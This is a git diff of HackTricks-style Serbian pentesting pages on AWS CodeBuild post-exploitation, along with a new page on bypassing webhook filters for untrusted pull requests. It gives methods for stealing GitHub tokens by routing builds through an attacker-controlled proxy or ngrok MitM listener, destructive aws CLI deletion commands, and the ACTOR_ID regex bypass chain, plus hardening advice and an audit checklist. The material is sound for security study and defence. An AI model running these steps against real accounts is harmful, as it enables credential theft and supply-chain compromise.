diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index edb680429..d969443bf 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -4,43 +4,43 @@ ## CodeBuild -Za više informacija, proverite: +Za više informacija, pogledajte: {{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Proverite Tajne +### Proverite tajne -Ako su kredencijali postavljeni u Codebuild za povezivanje sa Github, Gitlab ili Bitbucket u obliku ličnih tokena, lozinki ili OAuth token pristupa, ove **kredencijale će biti sačuvane kao tajne u menadžeru tajni**.\ -Stoga, ako imate pristup za čitanje menadžera tajni, moći ćete da dobijete ove tajne i pređete na povezanu platformu. +Ako su akreditive postavljene u Codebuild-u za povezivanje sa Github, Gitlab ili Bitbucket u vidu personal tokens, lozinki ili OAuth token access, ove **akreditive će biti sačuvane kao tajne u secret manager-u**.\ +Dakle, ako imate pristup za čitanje secret manager-a, moći ćete da dobijete te tajne i pivotirate na povezanu platformu. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md {{#endref}} -### Zloupotreba Pristupa CodeBuild Repo-u +### Abuse CodeBuild Repo Access -Da bi se konfigurisao **CodeBuild**, biće mu potreban **pristup kod repozitorijumu** koji će koristiti. Nekoliko platformi može hostovati ovaj kod: +Da bi se konfigurisao **CodeBuild**, biće mu potreban **pristup code repo-u** koji će koristiti. Nekoliko platformi može hostovati ovaj kod:
-**CodeBuild projekat mora imati pristup** konfigurisanoj izvornoj platformi, bilo putem **IAM uloge** ili sa github/bitbucket **tokenom ili OAuth pristupom**. +**CodeBuild projekat mora imati pristup** konfigurisanom source provider-u, bilo preko **IAM role** ili sa github/bitbucket **token-om ili OAuth pristupom**. -Napadač sa **povišenim dozvolama u CodeBuild-u** mogao bi zloupotrebiti ovaj konfigurisani pristup da otkrije kod konfigurisane repozitorije i druge gde postavljeni kredencijali imaju pristup.\ -Da bi to uradio, napadač bi samo trebao da **promeni URL repozitorijuma na svaki repozitorijum kojem konfigurisani kredencijali imaju pristup** (napomena: aws web će ih sve navesti za vas): +Napadač sa **povišenim privilegijama nad CodeBuild-om** može zloupotrebiti ovaj konfigurisan pristup da leak-uje kod konfigurisanog repoa i drugih repo-a kojima podešene kredencijale imaju pristup.\ +Da bi to uradio, napadač bi samo trebalo da **promeni repository URL na svaki repo kojem konfiguracione kredencijale imaju pristup** (napomena: aws web će vam ih sve navesti):
-I **promeni Buildspec komande da eksfiltrira svaki repozitorijum**. +I **promeni Buildspec komande da exfiltrate svaki repo**. > [!WARNING] -> Međutim, ovaj **zadatak je ponavljajući i zamoran** i ako je github token konfiguran sa **dozvolama za pisanje**, napadač **neće moći da (zloupotrebi) te dozvole** jer nema pristup tokenu.\ -> Ili možda ima? Proverite sledeću sekciju +> Međutim, ovaj **zadatak je repetitivan i zamoran** i ako je github token konfigurisan sa **write permissions**, napadač **neće moći da (ab)use te permisije** jer nema pristup tokenu.\ +> Или да ли може? Proverite sledeći odeljak -### Otkriće Pristupnih Tokena iz AWS CodeBuild +### Leaking Access Tokens from AWS CodeBuild -Možete otkriti pristup dat u CodeBuild platformama kao što je Github. Proverite da li je bilo datog pristupa spoljnim platformama sa: +You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: ```bash aws codebuild list-source-credentials ``` @@ -48,9 +48,17 @@ aws codebuild list-source-credentials aws-codebuild-token-leakage.md {{#endref}} +### Izvršavanje nepouzdanih PR-ova usled pogrešne konfiguracije webhook filtera + +Ako su webhook filters slabi, eksterni napadači mogu da nateraju svoje PRs da budu izgrađeni u privilegovanim CodeBuild projektima i zatim izvrše proizvoljan kod u CI. + +{{#ref}} +aws-codebuild-untrusted-pr-webhook-bypass.md +{{#endref}} + ### `codebuild:DeleteProject` -Napadač bi mogao da obriše ceo CodeBuild projekat, uzrokujući gubitak konfiguracije projekta i utičući na aplikacije koje se oslanjaju na projekat. +Napadač bi mogao izbrisati čitav CodeBuild projekat, što bi dovelo do gubitka konfiguracije projekta i uticalo na aplikacije koje se oslanjaju na taj projekat. ```bash aws codebuild delete-project --name ``` @@ -58,19 +66,19 @@ aws codebuild delete-project --name ### `codebuild:TagResource` , `codebuild:UntagResource` -Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa CodeBuild resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama. +Napadač može dodavati, menjati ili uklanjati tags sa CodeBuild resursa, što može narušiti raspodelu troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tags. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` -**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama. +**Potencijalni uticaj**: Poremećaj u raspodeli troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na tagovima. ### `codebuild:DeleteSourceCredentials` -Napadač bi mogao da obriše izvorne akreditive za Git repozitorijum, što bi uticalo na normalno funkcionisanje aplikacija koje se oslanjaju na repozitorijum. +Napadač može izbrisati kredencijale izvora za Git repository, što bi omelo normalno funkcionisanje aplikacija koje zavise od tog repository-ja. ```sql aws codebuild delete-source-credentials --arn ``` -**Potencijalni uticaj**: Poremećaj normalnog funkcionisanja aplikacija koje se oslanjaju na pogođeni repozitorijum zbog uklanjanja izvora kredencijala. +**Mogući uticaj**: Prekid normalnog rada aplikacija koje zavise od pogođenog repozitorijuma zbog uklanjanja kredencijala za pristup izvornom kodu. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index df75f1034..b5b297d64 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Vraćanje Github/Bitbucket konfigurisani tokens +## Oporavi konfigurisane Github/Bitbucket Tokens -Prvo proverite da li postoje konfigurisani source credentials koje možete leak: +Prvo proveri da li postoje konfigurisani source credentials koje možeš leak: ```bash aws codebuild list-source-credentials ``` ### Putem Docker Image -Ako primetite da je autentikacija, na primer za Github, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta. +Ako ustanovite da je autentifikacija, npr. za Github, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta. -Za ovu namenu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**. +U tu svrhu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**. -Docker image koji možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je veoma osnovni Docker image koji će podesiti **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. To će vam omogućiti da presretnete većinu saobraćaja hosta označenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT označenom u **`SSL_CERT_FILE`**. +Docker image koji možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovni Docker image koji će postaviti **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT navedenom u **`SSL_CERT_FILE`**. -1. **Create & Upload your own Docker MitM image** -- Pratite instrukcije iz repo-a da postavite vašu proxy IP adresu i SSL cert i **build the docker image**. -- **DO NOT SET `http_proxy`** kako ne biste presretali zahteve ka metadata endpoint-u. -- Možete koristiti **`ngrok`** kao npr. `ngrok tcp 4444` da setujete proxy na vaš host -- Kada imate izgrađen Docker image, **upload it to a public repo** (Dockerhub, ECR...) -2. **Set the environment** -- Kreirajte **new Codebuild project** ili **modify** environment postojećeg. -- Podesite projekat da koristi **previously generated Docker image** +1. **Kreirajte i otpremite svoj Docker MitM image** +- Sledite instrukcije iz repo-a da podesite IP adresu proxy-ja i vaš SSL sertifikat i **izgradite Docker image**. +- **NE PODEŠAVAJTE `http_proxy`** kako ne biste presretali zahteve ka metadata endpoint-u. +- Možete koristiti **`ngrok`** npr. `ngrok tcp 4444` da podesite proxy na vaš host +- Kada izgradite Docker image, **otpremite ga u javni repo** (Dockerhub, ECR...) +2. **Podesite environment** +- Kreirajte **novi Codebuild project** ili **izmenite** environment postojećeg. +- Podesite projekat da koristi **prethodno generisani Docker image**
-3. **Set the MitM proxy in your host** +3. **Podesite MitM proxy na vašem hostu** -- Kao što je navedeno u **Github repo** možete koristiti nešto kao: +- Kao što je naznačeno u **Github repo** možete koristiti nešto poput: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> **mitmproxy verzija koja je korišćena bila je 9.0.1**, izveštavano je da sa verzijom 10 ovo možda neće raditi. +> Korišćena je **mitmproxy verzija 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi. -4. **Pokrenite build & uhvatite kredencijale** +4. **Pokrenite build i uhvatite kredencijale** -- Možete videti token u **Authorization** headeru: +- Možete videti token u **Authorization** zaglavlju:
-Ovo se takođe može uraditi iz aws cli koristeći nešto poput +Ovo se takođe može uraditi iz aws cli pomoću nečeg poput ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### Via insecureSSL +### Putem insecureSSL -**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na webu i možete ga promeniti samo preko API-ja.\ -Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji platforma nudi. +**Codebuild** projekti imaju podešavanje zvano **`insecureSsl`** koje je skriveno u web interfejsu i može se menjati samo preko API-ja.\ +Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata platforme**. - Prvo treba da izlistate trenutnu konfiguraciju nečim poput: ```bash aws codebuild batch-get-projects --name ``` - Zatim, sa prikupljenim informacijama možeš ažurirati podešavanje projekta **`insecureSsl`** na **`True`**. U nastavku je primer mog ažuriranja projekta — obrati pažnju na **`insecureSsl=True`** na kraju (to je jedina stvar koju treba promeniti u odnosu na prikupljenu konfiguraciju). -- Pored toga, dodaj i env promenljive **http_proxy** i **https_proxy** koje pokazuju na tvoj tcp ngrok, na primer: +- Takođe, dodaj i promenljive okruženja **http_proxy** i **https_proxy** koje upućuju na tvoj tcp ngrok, na primer: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji ukazuju proxy promenljive (http_proxy i https_proxy) +- Zatim pokrenite osnovni primer iz [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Na kraju, kliknite na **Build the project**, **kredencijali** će biti **poslati u običnom tekstu** (base64) na mitm port: +- Na kraju, kliknite na **Build the project**, **credentials** će biti poslati nešifrovano (base64) na mitm port:
-### ~~Putem HTTP protokola~~ +### ~~Preko HTTP protokola~~ -> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a negde u sedmici 20. februara 2023. (mislim da u petak). Tako da napadač više ne može da je iskoristi :)** +> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a negde tokom nedelje koja počinje 20. februara 2023. (Mislim da je to bio petak). Dakle, napadač je više ne može zloupotrebiti :)** -Napadač sa **povišenim privilegijama nad CodeBuild-om mogao bi da izazove leak konfigurisanog Github/Bitbucket tokena** ili, ako su privilegije konfigurisane preko OAuth-a, **privremeni OAuth token korišćen za pristup kodu**. +Napadač sa **povišenim privilegijama u CodeBuild mogao bi da leak-uje konfigurisan Github/Bitbucket token** ili, ako su permisije konfigurisanе preko OAuth-a, **privremeni OAuth token koji se koristi za pristup kodu**. -- Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`). +- Napadač može da doda environment promenljive **http_proxy** i **https_proxy** u CodeBuild projekat koje pokazuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
-- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions` -- Zatim pokrenite osnovni primer iz [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji ukazuju proxy promenljive (http_proxy i https_proxy) +- Zatim promenite URL github repoa da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions` +- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije: +- Zatim, kliknite na **Build the project** ili pokrenite build iz komandne linije: ```sh aws codebuild start-build --project-name ``` -- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Na kraju, **credentials** će biti **poslati u čistom tekstu** (base64) na mitm port:
> [!WARNING] -> Sada attacker može da koristi token sa svoje mašine, da izlista sve privilegije koje token ima i da ih (ab)use lakše nego direktnim korišćenjem CodeBuild servisa. +> Sada napadač može da koristi token sa svoje mašine, izlista sve privilegije koje poseduje i (ab)use lakše nego da direktno koristi CodeBuild servis. -## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) +## Izvršavanje nepouzdanih PR-ova putem pogrešne konfiguracije webhook filtera -Neispravno konfigurisani CodeBuild GitHub webhooks koji koriste neanchored `ACTOR_ID` regex-e dozvoljavaju *untrusted* PR-ovima da pokrenu privilegovane builds. Ako je allowlist poput `123456|7890123` bez `^`/`$`, bilo koji ID koji sadrži jedan od tih substring-ova će odgovarati. Pošto su GitHub user ID-ovi sekvencijalni, attacker može da se utrkuje da registruje “eclipsing” ID (superstring od poverljivog ID-a) i tako pokrene build. +Za lanac zaobilaženja webhook-a pokrenut PR-om (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), proveri: -**Exploit path** - -1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist. -2. Obtain an eclipsing GitHub ID: -- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool). -- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring. -3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs. -4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token. -5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets. - -## References -- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) +{{#ref}} +aws-codebuild-untrusted-pr-webhook-bypass.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md new file mode 100644 index 000000000..0c0122d36 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md @@ -0,0 +1,235 @@ +# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style) + +{{#include ../../../../banners/hacktricks-training.md}} + +Ovaj vektor napada se javljа kada je javni PR workflow povezan sa privilegovanim CodeBuild projektom koji ima slabe kontrole webhook-a. + +Ako eksterni napadač uspe da natera CodeBuild da izvrši njihov PR, obično može dobiti arbitrary code execution unutar build-a (build scripts, dependency hooks, test scripts, itd.), a zatim pivot-ovati ka tajnama, IAM credential-ima, ili source-provider credentials. + +## Zašto je ovo opasno + +CodeBuild webhook filteri se evaluiraju pomoću regex pattern-a (za filtre koji nisu `EVENT`). U `ACTOR_ACCOUNT_ID` filteru to znači da slab pattern može poklopiti više korisnika nego što je namera. +Ako se nepoverljivi PR-ovi build-uju u projektu koji ima privilegovane AWS role ili GitHub credential-e, to može postati potpuna supply-chain kompromitacija. + +Wiz je pokazao praktičan lanac gde: + +1. Webhook actor allowlist je koristio ne-anchored regex. +2. Napadač je registrovao GitHub ID koji se poklapao kao superstring trusted ID-a. +3. Zlonamerni PR je pokrenuo CodeBuild. +4. Izvršenje koda u buildu je iskorišćeno za dump-ovanje memorije i vraćanje source-provider credential-a/tokena. + +## Misconfigurations koje omogućavaju izvršavanje eksternog PR koda + +Ispod su high-risk greške i kako ih napadači zloupotrebljavaju: + +1. **`EVENT` filters allow untrusted triggers** +- Uobičajeni rizični eventi: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`. +- Drugi eventi koji takođe mogu postati opasni ako su vezani za privilegovane build-ove: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`. +- Loše: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` u privilegovanom projektu. +- Bolje: koristite PR comment approval i minimizirajte trigger evente za privilegovane projekte. +- Zloupotreba: napadač otvori/azurira PR ili push-uje na branch koji kontroliše, i njihov kod se izvršava u CodeBuild-u. + +2. **`ACTOR_ACCOUNT_ID` regex is weak** +- Loše: unanchored pattern-i kao `123456|7890123`. +- Bolje: exact-match anchoring `^(123456|7890123)$`. +- Zloupotreba: regex over-match dozvoljava neautorizovanim GitHub ID-evima da prođu kroz allowlist. + +3. **Other regex filters are weak or missing** +- `HEAD_REF` +- Loše: `refs/heads/.*` +- Bolje: `^refs/heads/main$` (ili eksplicitna lista trusted grana) +- `BASE_REF` +- Loše: `.*` +- Bolje: `^refs/heads/main$` +- `FILE_PATH` +- Loše: nema ograničenja na putanje +- Bolje: isključiti rizične fajlove kao `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$` +- `COMMIT_MESSAGE` +- Loše: trust marker sa labavim match-om kao `trusted` +- Bolje: ne koristiti commit poruku kao trust boundary za izvršenje PR-a +- `REPOSITORY_NAME` / `ORGANIZATION_NAME` +- Loše: `.*` u org/global webhooks +- Bolje: samo tačna repo/org poklapanja +- `WORKFLOW_NAME` +- Loše: `.*` +- Bolje: tačno ime workflow-a (ili izbegavati ovo kao trust kontrolu) +- Zloupotreba: napadač pažljivo gradi ref/path/message/repo kontekst da zadovolji permisivni regex i okine build. + +4. **`excludeMatchedPattern` is misused** +- Podešavanje ovog flag-a pogrešno može invertovati nameravanu logiku. +- Loše: `FILE_PATH '^buildspec\\.yml$'` sa `excludeMatchedPattern=false` kada je namera bila da se blokiraju izmene buildspec-a. +- Bolje: isti pattern sa `excludeMatchedPattern=true` da se zabrani build koji dira `buildspec.yml`. +- Zloupotreba: branitelji misle da zabranjuju rizične evente/putanje/aktore, ali zapravo ih dopuštaju. + +5. **Multiple `filterGroups` create accidental bypasses** +- CodeBuild evaluira grupe kao OR (jedna prolazna grupa je dovoljna). +- Loše: jedna stroga grupa + jedna permisivna fallback grupa (npr. samo `EVENT=PULL_REQUEST_UPDATED`). +- Bolje: ukloniti fallback grupe koje ne nameću actor/ref/path ograničenja. +- Zloupotreba: napadač treba da zadovolji samo najslabiju grupu. + +6. **Comment approval gate disabled or too permissive** +- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` je najmanje sigurno. +- Previše široke role odobravaoca smanjuju kontrolu. +- Loše: `requiresCommentApproval=DISABLED`. +- Bolje: `ALL_PULL_REQUESTS` ili `FORK_PULL_REQUESTS` sa minimalnim rolama odobravaoca. +- Zloupotreba: fork/drive-by PR-ovi se automatski izvršavaju bez odobrenja trusted maintenara. + +7. **No restrictive branch/path strategy for PR builds** +- Nedostatak defense-in-depth sa `HEAD_REF` + `BASE_REF` + `FILE_PATH`. +- Loše: samo `EVENT` + `ACTOR_ACCOUNT_ID`, bez ref/path kontrola. +- Bolje: kombinovati tačan `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` restrikcije. +- Zloupotreba: napadač menja build inpute (buildspec/CI/dependencies) i dobija arbitrary command execution. + +8. **Public visibility + status URL exposure** +- Javne build/check URL-ove poboljšavaju attacker recon i iterativno testiranje. +- Loše: `projectVisibility=PUBLIC_READ` sa osetljivim logovima/configom u javnim build-ovima. +- Bolje: čuvati projekte privatnim osim ako postoji jak business razlog, i sanitizovati logove/artifakte. +- Zloupotreba: napadač otkriva pattern-e/projekta ponašanje, pa podešava payload-e i pokušaje bypass-a. + +## Token leakage from memory + +Wiz-ov write-up objašnjava da su source-provider credential-i prisutni u runtime kontekstu build-a i mogu biti ukradeni nakon kompromitovanja build-a (na primer, kroz memory dumping), omogućavajući takeover repozitorijuma ako su scope-ovi široki. + +AWS je uveo hardening nakon otkrića, ali osnovna lekcija ostaje: nikada ne izvršavajte untrusted PR kod u privilegovanim build kontekstima i pretpostavite da će napadač-kontrolisani build pokušati theft of credential-a. + +Za dodatne tehnike krađe credential-a u CodeBuild, pogledajte takođe: + +{{#ref}} +aws-codebuild-token-leakage.md +{{#endref}} + +## Finding CodeBuild URLs in GitHub PRs + +Ako CodeBuild prijavljuje commit status nazad na GitHub, CodeBuild build URL se obično pojavljuje u: + +1. **PR page** -> **Checks** tab (ili status linija u Conversation/Commits). +2. **Commit page** -> status/checks sekcija -> **Details** link. +3. **PR commits list** -> kliknite na check context priključen za commit. + +Za javne projekte, ovaj link može otkriti build metadata/configuration neautentifikovanim korisnicima. + +
+Script: detect CodeBuild URLs in a PR and test if they look public +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Usage: +# ./check_pr_codebuild_urls.sh +# +# Requirements: gh, jq, curl + +OWNER="${1:?owner}" +REPO="${2:?repo}" +PR="${3:?pr_number}" + +for bin in gh jq curl timeout; do +command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; } +done + +tmp_commits="$(mktemp)" +tmp_urls="$(mktemp)" +trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT + +gh_api() { +timeout 20s gh api "$@" 2>/dev/null || true +} + +# Get all commit SHAs in the PR (bounded call to avoid hangs) +gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits" +if [ ! -s "$tmp_commits" ]; then +echo "[!] No commits found (or API call timed out/failed)." >&2 +exit 1 +fi + +echo "[*] PR commits:" +cat "$tmp_commits" +echo + +echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..." + +while IFS= read -r sha; do +[ -z "$sha" ] && continue + +# Classic commit statuses (target_url) +gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \ +--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true + +# GitHub Checks API (details_url) +gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \ +--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true +done < "$tmp_commits" | sort -u > "$tmp_urls" + +grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true + +echo +echo "[*] Public-access heuristic:" +echo " - If URL redirects to signin.aws.amazon.com -> likely not public" +echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public" +echo + +cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)" +if [ -z "$cb_urls" ]; then +echo "[*] No CodeBuild URLs found in PR statuses/check-runs." +exit 0 +fi + +while IFS= read -r url; do +[ -z "$url" ] && continue +final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)" +code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)" + +if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then +verdict="NOT_PUBLIC_OR_AUTH_REQUIRED" +elif [ "$code" = "200" ]; then +verdict="POTENTIALLY_PUBLIC" +else +verdict="UNKNOWN_CHECK_MANUALLY" +fi + +printf '%s\t%s\t%s\n' "$verdict" "$code" "$url" +done <<< "$cb_urls" +``` +Testirano sa: +```bash +bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1 +``` +
+ +## Brzi kontrolni spisak za reviziju +```bash +# Enumerate projects +aws codebuild list-projects + +# Inspect source/webhook configuration +aws codebuild batch-get-projects --names + +# Inspect global source credentials configured in account +aws codebuild list-source-credentials +``` +Pregledajte svaki projekat zbog: + +- `webhook.filterGroups` koji sadrže PR događaje. +- obrasci `ACTOR_ACCOUNT_ID` koji nemaju početne i krajnje oznake `^...$`. +- `pullRequestBuildPolicy.requiresCommentApproval` podešen na `DISABLED`. +- Nedostatka ograničenja grana/putanja. +- `serviceRole` visokih privilegija. +- Rizičnog opsega i ponovne upotrebe kredencijala izvora. + +## Smernice za pojačanje bezbednosti + +1. Zahtevajte odobrenje komentara za PR buildove (`ALL_PULL_REQUESTS` ili `FORK_PULL_REQUESTS`). +2. Ako koristite allow-liste za actore, uokvirite regex-e (koristite ^ i $) i držite ih preciznim. +3. Dodajte `FILE_PATH` ograničenja da sprečite nepouzdane izmene `buildspec.yml` i CI skripti. +4. Odvojite pouzdane release buildove od nepouzdanih PR buildova u različite projekte/role. +5. Koristite fine-grained, najmanje privilegovane tokene provajdera izvora (poželjno koristiti posvećene niskoprivilegovane identitete). +6. Kontinuirano proveravajte webhook filtere i korišćenje kredencijala izvora. + +## References + +- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) +- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html) +- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html) +- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html) + +{{#include ../../../../banners/hacktricks-training.md}}